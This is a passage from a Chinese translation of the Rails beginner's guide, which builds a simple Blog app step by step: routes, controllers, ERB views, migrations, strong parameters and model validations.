需要注意的是,有些资源虽然很好,但针对的是 Ruby 1.8 甚至 1.6 这些老版本,因此不涉及一些 Rails 日常开发的常见句法。

2 Rails 是什么?

Rails 是使用 Ruby 语言编写的 Web 应用开发框架,目的是通过解决快速开发中的共通问题,简化 Web 应用的开发。与其他编程语言和框架相比,使用 Rails 只需编写更少代码就能实现更多功能。有经验的 Rails 程序员常说,Rails 让 Web 应用开发变得更有趣。

Rails 有自己的设计原则,认为问题总有最好的解决方法,并且有意识地通过设计来鼓励用户使用最好的解决方法,而不是其他替代方案。一旦掌握了“Rails 之道”,就可能获得生产力的巨大提升。在 Rails 开发中,如果不改变使用其他编程语言时养成的习惯,总想使用原有的设计模式,开发体验可能就不那么让人愉快了。

Rails 哲学包含两大指导思想:

+
    +
  • 不要自我重复(DRY): DRY 是软件开发中的一个原则,意思是“系统中的每个功能都要具有单一、准确、可信的实现。”。不重复表述同一件事,写出的代码才更易维护、更具扩展性,也更不容易出问题。
  • +
  • 多约定,少配置: Rails 为 Web 应用的大多数需求都提供了最好的解决方法,并且默认使用这些约定,而不是在长长的配置文件中设置每个细节。
  • +
+

3 创建 Rails 项目

阅读本文的最佳方法是一步步跟着操作。所有这些步骤对于运行示例应用都是必不可少的,同时也不需要更多的代码或步骤。

通过学习本文,你将学会如何创建一个名为 Blog 的 Rails 项目,这是一个非常简单的博客。在动手开发之前,请确保已经安装了 Rails。

文中的示例代码使用 UNIX 风格的命令行提示符 $,如果你的命令行提示符是自定义的,看起来可能会不一样。在 Windows 中,命令行提示符可能类似 c:\source_code>

3.1 安装 Rails

打开命令行:在 macOS 中打开 Terminal.app,在 Windows 中要在开始菜单中选择“运行”,然后输入“cmd.exe”。本文中所有以 $ 开头的代码,都应该在命令行中执行。首先确认是否安装了 Ruby 的最新版本:

+
+$ ruby -v
+ruby 2.3.1p112
+
+
+
+

有很多工具可以帮助你快速地在系统中安装 Ruby 和 Ruby on Rails。Windows 用户可以使用 Rails Installer,macOS 用户可以使用 Tokaido。更多操作系统中的安装方法请访问 ruby-lang.org

很多类 UNIX 系统都预装了版本较新的 SQLite3。在 Windows 中,通过 Rails Installer 安装 Rails 会同时安装 SQLite3。其他操作系统中 SQLite3 的安装方法请参阅 SQLite3 官网。接下来,确认 SQLite3 是否在 PATH 中:

+
+$ sqlite3 --version
+
+
+
+

执行结果应该显示 SQLite3 的版本号。

安装 Rails,请使用 RubyGems 提供的 gem install 命令:

+
+$ gem install rails
+
+
+
+

执行下面的命令来确认所有软件是否都已正确安装:

+
+$ rails --version
+
+
+
+

如果执行结果类似 Rails 5.1.0,那么就可以继续往下读了。

3.2 创建 Blog 应用

Rails 提供了许多名为生成器(generator)的脚本,这些脚本可以为特定任务生成所需的全部文件,从而简化开发。其中包括新应用生成器,这个脚本用于创建 Rails 应用骨架,避免了手动编写基础代码。

要使用新应用生成器,请打开终端,进入具有写权限的文件夹,输入:

+
+$ rails new blog
+
+
+
+

这个命令会在文件夹 blog 中创建名为 Blog 的 Rails 应用,然后执行 bundle install 命令安装 Gemfile 中列出的 gem 及其依赖。

执行 rails new -h 命令可以查看新应用生成器的所有命令行选项。

创建 blog 应用后,进入该文件夹:

+
+$ cd blog
+
+
+
+

blog 文件夹中有许多自动生成的文件和文件夹,这些文件和文件夹组成了 Rails 应用的结构。本文涉及的大部分工作都在 app 文件夹中完成。下面简单介绍一下这些用新应用生成器默认选项生成的文件和文件夹的功能:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹作用
app/包含应用的控制器、模型、视图、辅助方法、邮件程序、频道、作业和静态资源文件。这个文件夹是本文剩余内容关注的重点。
bin/包含用于启动应用的 rails 脚本,以及用于安装、更新、部署或运行应用的其他脚本。
config/配置应用的路由、数据库等。详情请参阅配置 Rails 应用
config.ru基于 Rack 的服务器所需的 Rack 配置,用于启动应用。
db/包含当前数据库的模式,以及数据库迁移文件。
+Gemfile, Gemfile.lock +这两个文件用于指定 Rails 应用所需的 gem 依赖。Bundler gem 需要用到这两个文件。关于 Bundler 的更多介绍,请访问 Bundler 官网
lib/应用的扩展模块。
log/应用日志文件。
public/仅有的可以直接从外部访问的文件夹,包含静态文件和编译后的静态资源文件。
Rakefile定位并加载可在命令行中执行的任务。这些任务在 Rails 的各个组件中定义。如果要添加自定义任务,请不要修改 Rakefile,直接把自定义任务保存在 lib/tasks 文件夹中即可。
README.md应用的自述文件,说明应用的用途、安装方法等。
test/单元测试、固件和其他测试装置。详情请参阅Rails 应用测试指南
tmp/临时文件(如缓存和 PID 文件)。
vendor/包含第三方代码,如第三方 gem。
.gitignore告诉 Git 要忽略的文件(或模式)。详情参见 GitHub 帮助文档
+

4 Hello, Rails!

首先,让我们快速地在页面中添加一些文字。为了访问页面,需要运行 Rails 应用服务器(即 Web 服务器)。

4.1 启动 Web 服务器

实际上这个 Rails 应用已经可以正常运行了。要访问应用,需要在开发设备中启动 Web 服务器。请在 blog 文件夹中执行下面的命令:

+
+$ bin/rails server
+
+
+
+

Windows 用户需要把 bin 文件夹下的脚本文件直接传递给 Ruby 解析器,例如 ruby bin\rails server

编译 CoffeeScript 和压缩 JavaScript 静态资源文件需要 JavaScript 运行时,如果没有运行时,在压缩静态资源文件时会报错,提示没有 execjs。macOS 和 Windows 一般都提供了 JavaScript 运行时。在 Rails 应用的 Gemfile 中,therubyracer gem 被注释掉了,如果需要使用这个 gem,请去掉注释。对于 JRuby 用户,推荐使用 therubyrhino 这个运行时,在 JRuby 中创建 Rails 应用的 Gemfile 中默认包含了这个 gem。要查看 Rails 支持的所有运行时,请参阅 ExecJS

上述命令会启动 Puma,这是 Rails 默认使用的 Web 服务器。要查看运行中的应用,请打开浏览器窗口,访问 http://localhost:3000。这时应该看到默认的 Rails 欢迎页面:

默认的 Rails 欢迎页面

要停止 Web 服务器,请在终端中按 Ctrl+C 键。服务器停止后命令行提示符会重新出现。在大多数类 Unix 系统中,包括 macOS,命令行提示符是 $ 符号。在开发模式中,一般情况下无需重启服务器,服务器会自动加载修改后的文件。

欢迎页面是创建 Rails 应用的冒烟测试,看到这个页面就表示应用已经正确配置,能够正常工作了。

4.2 显示“Hello, Rails!”

要让 Rails 显示“Hello, Rails!”,需要创建控制器和视图。

控制器接受向应用发起的特定访问请求。路由决定哪些访问请求被哪些控制器接收。一般情况下,一个控制器会对应多个路由,不同路由对应不同动作。动作搜集数据并把数据提供给视图。

视图以人类能看懂的格式显示数据。有一点要特别注意,数据是在控制器而不是视图中获取的,视图只是显示数据。默认情况下,视图模板使用 eRuby(嵌入式 Ruby)语言编写,经由 Rails 解析后,再发送给用户。

可以用控制器生成器来创建控制器。下面的命令告诉控制器生成器创建一个包含“index”动作的“Welcome”控制器:

+
+$ bin/rails generate controller Welcome index
+
+
+
+

上述命令让 Rails 生成了多个文件和一个路由:

+
+create  app/controllers/welcome_controller.rb
+ route  get 'welcome/index'
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/controllers/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke    test_unit
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.scss
+
+
+
+

其中最重要的文件是控制器和视图,控制器位于 app/controllers/welcome_controller.rb 文件 ,视图位于 app/views/welcome/index.html.erb 文件 。

在文本编辑器中打开 app/views/welcome/index.html.erb 文件,删除所有代码,然后添加下面的代码:

+
+<h1>Hello, Rails!</h1>
+
+
+
+

4.3 设置应用主页

现在我们已经创建了控制器和视图,还需要告诉 Rails 何时显示“Hello, Rails!”,我们希望在访问根地址 http://localhost:3000 时显示。目前根地址显示的还是默认的 Rails 欢迎页面。

接下来需要告诉 Rails 真正的主页在哪里。

在编辑器中打开 config/routes.rb 文件。

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
+end
+
+
+
+

这是应用的路由文件,使用特殊的 DSL(Domain-Specific Language,领域专属语言)编写,告诉 Rails 把访问请求发往哪个控制器和动作。编辑这个文件,添加一行代码 root 'welcome#index',此时文件内容应该变成下面这样:

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  root 'welcome#index'
+end
+
+
+
+

root 'welcome#index' 告诉 Rails 对根路径的访问请求应该发往 welcome 控制器的 index 动作,get 'welcome/index' 告诉 Rails 对 http://localhost:3000/welcome/index 的访问请求应该发往 welcome 控制器的 index 动作。后者是之前使用控制器生成器创建控制器(bin/rails generate controller Welcome index)时自动生成的。

如果在生成控制器时停止了服务器,请再次启动服务器(bin/rails server),然后在浏览器中访问 http://localhost:3000。我们会看到之前添加到 app/views/welcome/index.html.erb 文件 的“Hello, Rails!”信息,这说明新定义的路由确实把访问请求发往了 WelcomeControllerindex 动作,并正确渲染了视图。

关于路由的更多介绍,请参阅Rails 路由全解

5 启动并运行起来

前文已经介绍了如何创建控制器、动作和视图,接下来我们要创建一些更具实用价值的东西。

在 Blog 应用中创建一个资源(resource)。资源是一个术语,表示一系列类似对象的集合,如文章、人或动物。资源中的项目可以被创建、读取、更新和删除,这些操作简称 CRUD(Create, Read, Update, Delete)。

Rails 提供了 resources 方法,用于声明标准的 REST 资源。把 articles 资源添加到 config/routes.rb 文件,此时文件内容应该变成下面这样:

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  resources :articles
+
+  root 'welcome#index'
+end
+
+
+
+

执行 bin/rails routes 命令,可以看到所有标准 REST 动作都具有对应的路由。输出结果中各列的意义稍后会作说明,现在只需注意 Rails 从 article 的单数形式推导出了它的复数形式,并进行了合理使用。

+
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

下一节,我们将为应用添加新建文章和查看文章的功能。这两个操作分别对应于 CRUD 的“C”和“R”:创建和读取。下面是用于新建文章的表单:

用于新建文章的表单

表单看起来很简陋,不过没关系,之后我们再来美化。

5.1 打地基

首先,应用需要一个页面用于新建文章,/articles/new 是个不错的选择。相关路由之前已经定义过了,可以直接访问。打开 http://localhost:3000/articles/new,会看到下面的路由错误:

路由错误,常量 ArticlesController 未初始化

产生错误的原因是,用于处理该请求的控制器还没有定义。解决问题的方法很简单:创建 Articles 控制器。执行下面的命令:

+
+$ bin/rails generate controller Articles
+
+
+
+

打开刚刚生成的 app/controllers/articles_controller.rb 文件,会看到一个空的控制器:

+
+class ArticlesController < ApplicationController
+end
+
+
+
+

控制器实际上只是一个继承自 ApplicationController 的类。接在来要在这个类中定义的方法也就是控制器的动作。这些动作对文章执行 CRUD 操作。

在 Ruby 中,有 publicprivateprotected 三种方法,其中只有 public 方法才能作为控制器的动作。详情请参阅 Programming Ruby 一书。

现在刷新 http://localhost:3000/articles/new,会看到一个新错误:

未知动作,在 ArticlesController 中找不到 new 动作

这个错误的意思是,Rails 在刚刚生成的 ArticlesController 中找不到 new 动作。这是因为在 Rails 中生成控制器时,如果不指定想要的动作,生成的控制器就会是空的。

在控制器中手动定义动作,只需要定义一个新方法。打开 app/controllers/articles_controller.rb 文件,在 ArticlesController 类中定义 new 方法,此时控制器应该变成下面这样:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+end
+
+
+
+

ArticlesController 中定义 new 方法后,再次刷新 http://localhost:3000/articles/new,会看到另一个错误:

未知格式,缺少对应模板

产生错误的原因是,Rails 要求这样的常规动作有用于显示数据的对应视图。如果没有视图可用,Rails 就会抛出异常。

上图中下面的几行都被截断了,下面是完整信息:

+
+

ArticlesController#new is missing a template for this request format and variant. request.formats: ["text/html"] request.variant: [] NOTE! For XHR/Ajax or API requests, this action would normally respond with 204 No Content: an empty white screen. Since you’re loading it in a web browser, we assume that you expected to actually render a template, not… nothing, so we’re showing an error to be extra-clear. If you expect 204 No Content, carry on. That’s what you’ll get from an XHR or API request. Give it a shot.

+
+

内容还真不少!让我们快速浏览一下,看看各部分是什么意思。

第一部分说明缺少哪个模板,这里缺少的是 articles/new 模板。Rails 首先查找这个模板,如果找不到再查找 application/new 模板。之所以会查找后面这个模板,是因为 ArticlesController 继承自 ApplicationController

下一部分是 request.formats,说明响应使用的模板格式。当我们在浏览器中请求页面时,request.formats 的值是 text/html,因此 Rails 会查找 HTML 模板。request.variant 指明伺服的是何种物理设备,帮助 Rails 判断该使用哪个模板渲染响应。它的值是空的,因为没有为其提供信息。

在本例中,能够工作的最简单的模板位于 app/views/articles/new.html.erb 文件中。文件的扩展名很重要:第一个扩展名是模板格式,第二个扩展名是模板处理器。Rails 会尝试在 app/views 文件夹中查找 articles/new 模板。这个模板的格式只能是 html,模板处理器只能是 erbbuildercoffee 中的一个。:erb 是最常用的 HTML 模板处理器,:builder 是 XML 模板处理器,:coffee 模板处理器用 CoffeeScript 创建 JavaScript 模板。因为我们要创建 HTML 表单,所以应该使用能够在 HTML 中嵌入 Ruby 的 ERB 语言。

所以我们需要创建 articles/new.html.erb 文件,并把它放在应用的 app/views 文件夹中。

现在让我们继续前进。新建 app/views/articles/new.html.erb 文件,添加下面的代码:

+
+<h1>New Article</h1>
+
+
+
+

刷新 http://localhost:3000/articles/new,会看到页面有了标题。现在路由、控制器、动作和视图都可以协调地工作了!是时候创建用于新建文章的表单了。

5.2 第一个表单

在模板中创建表单,可以使用表单构建器。Rails 中最常用的表单构建器是 form_for 辅助方法。让我们使用这个方法,在 app/views/articles/new.html.erb 文件中添加下面的代码:

+
+<%= form_for :article do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

现在刷新页面,会看到和前文截图一样的表单。在 Rails 中创建表单就是这么简单!

调用 form_for 辅助方法时,需要为表单传递一个标识对象作为参数,这里是 :article 符号。这个符号告诉 form_for 辅助方法表单用于处理哪个对象。在 form_for 辅助方法的块中,f 表示 FormBuilder 对象,用于创建两个标签和两个文本字段,分别用于添加文章的标题和正文。最后在 f 对象上调用 submit 方法来为表单创建提交按钮。

不过这个表单还有一个问题,查看 HTML 源代码会看到表单 action 属性的值是 /articles/new,指向的是当前页面,而当前页面只是用于显示新建文章的表单。

应该把表单指向其他 URL,为此可以使用 form_for 辅助方法的 :url 选项。在 Rails 中习惯用 create 动作来处理提交的表单,因此应该把表单指向这个动作。

修改 app/views/articles/new.html.erb 文件的 form_for 这一行,改为:

+
+<%= form_for :article, url: articles_path do |f| %>
+
+
+
+

这里我们把 articles_path 辅助方法传递给 :url 选项。要想知道这个方法有什么用,我们可以回过头看一下 bin/rails routes 的输出结果:

+
+$ bin/rails routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

articles_path 辅助方法告诉 Rails 把表单指向和 articles 前缀相关联的 URI 模式。默认情况下,表单会向这个路由发起 POST 请求。这个路由和当前控制器 ArticlesControllercreate 动作相关联。

有了表单和与之相关联的路由,我们现在可以填写表单,然后点击提交按钮来新建文章了,请实际操作一下。提交表单后,会看到一个熟悉的错误:

未知动作,在 `ArticlesController` 中找不到 `create` 动作

解决问题的方法是在 ArticlesController 中创建 create 动作。

5.3 创建文章

要消除“未知动作”错误,我们需要修改 app/controllers/articles_controller.rb 文件,在 ArticlesController 类的 new 动作之后添加 create 动作,就像下面这样:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+end
+
+
+
+

现在重新提交表单,会看到什么都没有改变。别着急!这是因为当我们没有说明动作的响应是什么时,Rails 默认返回 204 No Content response。我们刚刚添加了 create 动作,但没有说明响应是什么。这里,create 动作应该把新建文章保存到数据库中。

表单提交后,其字段以参数形式传递给 Rails,然后就可以在控制器动作中引用这些参数,以执行特定任务。要想查看这些参数的内容,可以把 create 动作的代码修改成下面这样:

+
+def create
+  render plain: params[:article].inspect
+end
+
+
+
+

这里 render 方法接受了一个简单的散列(hash)作为参数,:plain 键的值是 params[:article].inspectparams 方法是代表表单提交的参数(或字段)的对象。params 方法返回 ActionController::Parameters 对象,这个对象允许使用字符串或符号访问散列的键。这里我们只关注通过表单提交的参数。

请确保牢固掌握 params 方法,这个方法很常用。让我们看一个示例 URL:http://www.example.com/?username=dhh&email=dhh@email.com。在这个 URL 中,params[:username] 的值是“dhh”,params[:email] 的值是“dhh@email.com”。

如果再次提交表单,会看到下面这些内容:

+
+<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false>
+
+
+
+

create 动作把表单提交的参数都显示出来了,但这并没有什么用,只是看到了参数实际上却什么也没做。

5.4 创建 Article 模型

在 Rails 中,模型使用单数名称,对应的数据库表使用复数名称。Rails 提供了用于创建模型的生成器,大多数 Rails 开发者在新建模型时倾向于使用这个生成器。要想新建模型,请执行下面的命令:

+
+$ bin/rails generate model Article title:string text:text
+
+
+
+

上面的命令告诉 Rails 创建 Article 模型,并使模型具有字符串类型的 title 属性和文本类型的 text 属性。这两个属性会自动添加到数据库的 articles 表中,并映射到 Article 模型上。

为此 Rails 会创建一堆文件。这里我们只关注 app/models/article.rbdb/migrate/20140120191729_create_articles.rb 这两个文件 (后面这个文件名和你看到的可能会有点不一样)。后者负责创建数据库结构,下一节会详细说明。

Active Record 很智能,能自动把数据表的字段名映射到模型属性上,因此无需在 Rails 模型中声明属性,让 Active Record 自动完成即可。

5.5 运行迁移

如前文所述,bin/rails generate model 命令会在 db/migrate 文件夹中生成数据库迁移文件。迁移是用于简化创建和修改数据库表操作的 Ruby 类。Rails 使用 rake 命令运行迁移,并且在迁移作用于数据库之后还可以撤销迁移操作。迁移的文件名包含了时间戳,以确保迁移按照创建时间顺序运行。

让我们看一下 db/migrate/YYYYMMDDHHMMSS_create_articles.rb 文件(记住,你的文件名可能会有点不一样),会看到下面的内容:

+
+class CreateArticles < ActiveRecord::Migration[5.0]
+  def change
+    create_table :articles do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

上面的迁移创建了 change 方法,在运行迁移时会调用这个方法。在 change 方法中定义的操作都是可逆的,在需要时 Rails 知道如何撤销这些操作。运行迁移后会创建 articles 表,这个表包括一个字符串字段和一个文本字段,以及两个用于跟踪文章创建和更新时间的时间戳字段。

关于迁移的更多介绍,请参阅Active Record 迁移

现在可以使用 bin/rails 命令运行迁移了:

+
+$ bin/rails db:migrate
+
+
+
+

Rails 会执行迁移命令并告诉我们它创建了 Articles 表。

+
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
+   -> 0.0019s
+==  CreateArticles: migrated (0.0020s) =========================================
+
+
+
+

因为默认情况下我们是在开发环境中工作,所以上述命令应用于 config/database.yml 文件中 development 部分定义的的数据库。要想在其他环境中执行迁移,例如生产环境,就必须在调用命令时显式传递环境变量:bin/rails db:migrate RAILS_ENV=production

5.6 在控制器中保存数据

回到 ArticlesController,修改 create 动作,使用新建的 Article 模型把数据保存到数据库。打开 app/controllers/articles_controller.rb 文件,像下面这样修改 create 动作:

+
+def create
+  @article = Article.new(params[:article])
+
+  @article.save
+  redirect_to @article
+end
+
+
+
+

让我们看一下上面的代码都做了什么:Rails 模型可以用相应的属性初始化,它们会自动映射到对应的数据库字段。create 动作中的第一行代码完成的就是这个操作(记住,params[:article] 包含了我们想要的属性)。接下来 @article.save 负责把模型保存到数据库。最后把页面重定向到 show 动作,这个 show 动作我们稍后再定义。

你可能想知道,为什么在上面的代码中 Article.newA 是大写的,而在本文的其他地方引用 articles 时大都是小写的。因为这里我们引用的是在 app/models/article.rb 文件中定义的 Article 类,而在 Ruby 中类名必须以大写字母开头。

之后我们会看到,@article.save 返回布尔值,以表明文章是否保存成功。

现在访问 http://localhost:3000/articles/new,我们就快要能够创建文章了,但我们还会看到下面的错误:

禁用属性错误

Rails 提供了多种安全特性来帮助我们编写安全的应用,上面看到的就是一种安全特性。这个安全特性叫做 健壮参数(strong parameter),要求我们明确地告诉 Rails 哪些参数允许在控制器动作中使用。

为什么我们要这样自找麻烦呢?一次性获取所有控制器参数并自动赋值给模型显然更简单,但这样做会造成恶意使用的风险。设想一下,如果有人对服务器发起了一个精心设计的请求,看起来就像提交了一篇新文章,但同时包含了能够破坏应用完整性的额外字段和值,会怎么样?这些恶意数据会批量赋值给模型,然后和正常数据一起进入数据库,这样就有可能破坏我们的应用或者造成更大损失。

所以我们只能为控制器参数设置白名单,以避免错误地批量赋值。这里,我们想在 create 动作中合法使用 titletext 参数,为此需要使用 requirepermit 方法。像下面这样修改 create 动作中的一行代码:

+
+@article = Article.new(params.require(:article).permit(:title, :text))
+
+
+
+

上述代码通常被抽象为控制器类的一个方法,以便在控制器的多个动作中重用,例如在 createupdate 动作中都会用到。除了批量赋值问题,为了禁止从外部调用这个方法,通常还要把它设置为 private。最后的代码像下面这样:

+
+def create
+  @article = Article.new(article_params)
+
+  @article.save
+  redirect_to @article
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

关于键壮参数的更多介绍,请参阅上面提供的参考资料和这篇博客

5.7 显示文章

现在再次提交表单,Rails 会提示找不到 show 动作。尽管这个提示没有多大用处,但在继续前进之前我们还是先添加 show 动作吧。

之前我们在 bin/rails routes 命令的输出结果中看到,show 动作对应的路由是:

+
+article GET    /articles/:id(.:format)      articles#show
+
+
+
+

特殊句法 :id 告诉 Rails 这个路由期望接受 :id 参数,在这里也就是文章的 ID。

和前面一样,我们需要在 app/controllers/articles_controller.rb 文件中添加 show 动作,并创建对应的视图文件。

常见的做法是按照以下顺序在控制器中放置标准的 CRUD 动作:indexshowneweditcreateupdatedestroy。你也可以按照自己的顺序放置这些动作,但要记住它们都是公开方法,如前文所述,必须放在私有方法之前才能正常工作。

有鉴于此,让我们像下面这样添加 show 动作:

+
+class ArticlesController < ApplicationController
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

上面的代码中有几个问题需要注意。我们使用 Article.find 来查找文章,并传入 params[:id] 以便从请求中获得 :id 参数。我们还使用实例变量(前缀为 @)保存对文章对象的引用。这样做是因为 Rails 会把所有实例变量传递给视图。

现在新建 app/views/articles/show.html.erb 文件,添加下面的代码:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+
+
+

通过上面的修改,我们终于能够新建文章了。访问 http://localhost:3000/articles/new,自己试一试吧!

显示文章

5.8 列出所有文章

我们还需要列出所有文章,下面就来完成这个功能。在 bin/rails routes 命令的输出结果中,和列出文章对应的路由是:

+
+articles GET    /articles(.:format)          articles#index
+
+
+
+

app/controllers/articles_controller.rb 文件的 ArticlesController 中为上述路由添加对应的 index 动作。在编写 index 动作时,常见的做法是把它作为控制器的第一个方法,就像下面这样:

+
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # 为了行文简洁,省略以下内容
+
+
+
+

最后,在 app/views/articles/index.html.erb 文件中为 index 动作添加视图:

+
+<h1>Listing articles</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

现在访问 http://localhost:3000/articles,会看到已创建的所有文章的列表。

至此,我们可以创建、显示、列出文章了。下面我们添加一些指向这些页面的链接。

打开 app/views/welcome/index.html.erb 文件,修改成下面这样:

+
+<h1>Hello, Rails!</h1>
+<%= link_to 'My Blog', controller: 'articles' %>
+
+
+
+

link_to 方法是 Rails 内置的视图辅助方法之一,用于创建基于链接文本和地址的超链接。在这里地址指的是文章列表页面的路径。

接下来添加指向其他视图的链接。首先在 app/views/articles/index.html.erb 文件中添加“New Article”链接,把这个链接放在 <table> 标签之前:

+
+<%= link_to 'New article', new_article_path %>
+
+
+
+

点击这个链接会打开用于新建文章的表单。

接下来在 app/views/articles/new.html.erb 文件中添加返回 index 动作的链接,把这个链接放在表单之后:

+
+<%= form_for :article, url: articles_path do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

最后,在 app/views/articles/show.html.erb 模板中添加返回 index 动作的链接,这样用户看完一篇文章后就可以返回文章列表页面了:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

链接到当前控制器的动作时不需要指定 :controller 选项,因为 Rails 默认使用当前控制器。

在开发环境中(默认情况下我们是在开发环境中工作),Rails 针对每个浏览器请求都会重新加载应用,因此对应用进行修改之后不需要重启服务器。

5.10 添加验证

app/models/article.rb 模型文件简单到只有两行代码:

+
+class Article < ApplicationRecord
+end
+
+
+
+

虽然这个文件中代码很少,但请注意 Article 类继承自 ApplicationRecord 类,而 ApplicationRecord 类继承自 ActiveRecord::Base 类。正是 ActiveRecord::Base 类为 Rails 模型提供了大量功能,包括基本的数据库 CRUD 操作(创建、读取、更新、删除)、数据验证,以及对复杂搜索的支持和关联多个模型的能力。

Rails 提供了许多方法用于验证传入模型的数据。打开 app/models/article.rb 文件,像下面这样修改:

+
+class Article < ApplicationRecord
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

添加的代码用于确保每篇文章都有标题,并且标题长度不少于 5 个字符。在 Rails 模型中可以验证多种条件,包括字段是否存在、字段是否唯一、字段的格式、关联对象是否存在,等等。关于验证的更多介绍,请参阅Active Record 数据验证

现在验证已经添加完毕,如果我们在调用 @article.save 时传递了无效的文章数据,验证就会返回 false。再次打开 app/controllers/articles_controller.rb 文件,会看到我们并没有在 create 动作中检查 @article.save 的调用结果。在这里如果 @article.save 失败了,就需要把表单再次显示给用户。为此,需要像下面这样修改 app/controllers/articles_controller.rb 文件中的 newcreate 动作:

+
+def new
+  @article = Article.new
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

在上面的代码中,我们在 new 动作中创建了新的实例变量 @article,稍后你就会知道为什么要这样做。

注意在 create 动作中,当 save 返回 false 时,我们用 render 代替了 redirect_to。使用 render 方法是为了把 @article 对象回传给 new 模板。这里渲染操作是在提交表单的这个请求中完成的,而 redirect_to 会告诉浏览器发起另一个请求。

刷新 http://localhost:3000/articles/new,试着提交一篇没有标题的文章,Rails 会返回这个表单,但这种处理方式没有多大用处,更好的做法是告诉用户哪里出错了。为此需要修改 app/views/articles/new.html.erb 文件,添加显示错误信息的代码:

+
+<%= form_for :article, url: articles_path do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

上面我们添加了一些代码。我们使用 @article.errors.any? 检查是否有错误,如果有错误就使用 @article.errors.full_messages 列出所有错误信息。

pluralize 是 Rails 提供的辅助方法,接受一个数字和一个字符串作为参数。如果数字比 1 大,字符串会被自动转换为复数形式。

ArticlesController 中添加 @article = Article.new 是因为如果不这样做,在视图中 @article 的值就会是 nil,这样在调用 @article.errors.any? 时就会抛出错误。

Rails 会自动用 div 包围含有错误信息的字段,并为这些 div 添加 field_with_errors 类。我们可以定义 CSS 规则突出显示错误信息。

当我们再次访问 http://localhost:3000/articles/new,试着提交一篇没有标题的文章,就会看到友好的错误信息。

出错的表单

5.11 更新文章

我们已经介绍了 CRUD 操作中的“CR”两种操作,下面让我们看一下“U”操作,也就是更新文章。

第一步要在 ArticlesController 中添加 edit 动作,通常把这个动作放在 new 动作和 create 动作之间,就像下面这样:

+
+def new
+  @article = Article.new
+end
+
+def edit
+  @article = Article.find(params[:id])
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+
+
+

接下来在视图中添加一个表单,这个表单类似于前文用于新建文章的表单。创建 app/views/articles/edit.html.erb 文件,添加下面的代码:

+
+<h1>Edit article</h1>
+
+<%= form_for(@article) do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
